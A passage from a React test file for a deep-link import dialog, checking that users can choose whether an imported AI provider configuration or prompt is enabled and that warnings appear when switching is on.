render(<DeepLinkImportDialog />, { wrapper: Wrapper });
act(() => deliverDeepLink(providerLink({ app: "claude", enabled: true })));
const toggle = await screen.findByRole("switch");
expect(toggle).toBeChecked();
expect(
screen.getByText("deeplink.providerEnabledWarning"),
).toBeInTheDocument();
await user.click(toggle);
expect(toggle).not.toBeChecked();
expect(
screen.queryByText("deeplink.providerEnabledWarning"),
).not.toBeInTheDocument();
await user.click(screen.getByRole("button", { name: "deeplink.import" }));
await waitFor(() => expect(sent).toHaveLength(1));
expect(sent[0].enabled).toBe(false);
});
it("lets the user opt into switching when the link does not ask for it", async () => {
const sent = captureImport();
const user = userEvent.setup();
render(<DeepLinkImportDialog />, { wrapper: Wrapper });
act(() => deliverDeepLink(providerLink({ app: "codex" })));
const toggle = await screen.findByRole("switch");
expect(toggle).not.toBeChecked();
expect(screen.getByText("deeplink.switchAfterImport")).toBeInTheDocument();
await user.click(toggle);
expect(
screen.getByText("deeplink.providerEnabledWarning"),
).toBeInTheDocument();
await user.click(screen.getByRole("button", { name: "deeplink.import" }));
await waitFor(() => expect(sent).toHaveLength(1));
expect(sent[0].enabled).toBe(true);
});
it("adds additive-app providers to the app config unless the link opts out", async () => {
render(<DeepLinkImportDialog />, { wrapper: Wrapper });
act(() => deliverDeepLink(providerLink({ app: "opencode" })));
const toggle = await screen.findByRole("switch");
expect(toggle).toBeChecked();
expect(
screen.getByText("deeplink.addToAppAfterImport"),
).toBeInTheDocument();
// 累加式应用没有「切换」,不提示改发请求
expect(
screen.queryByText("deeplink.providerEnabledWarning"),
).not.toBeInTheDocument();
});
it("lets the user decide whether an imported prompt is enabled", async () => {
const sent = captureImport();
const user = userEvent.setup();
render(<DeepLinkImportDialog />, { wrapper: Wrapper });
act(() =>
deliverDeepLink({
version: "v1",
resource: "prompt",
app: "claude",
name: "Review Prompt",
content: btoa("# review"),
enabled: true,
}),
);
const toggle = await screen.findByRole("switch");
expect(toggle).toBeChecked();
expect(
screen.getByText("deeplink.prompt.enabledWarning"),
).toBeInTheDocument();
await user.click(toggle);
await user.click(screen.getByRole("button", { name: "deeplink.import" }));
await waitFor(() => expect(sent).toHaveLength(1));
expect(sent[0].enabled).toBe(false);
});
});
describe("when processing is interrupted after the link was read", () => {
const coldStartLink = {
kind: "import",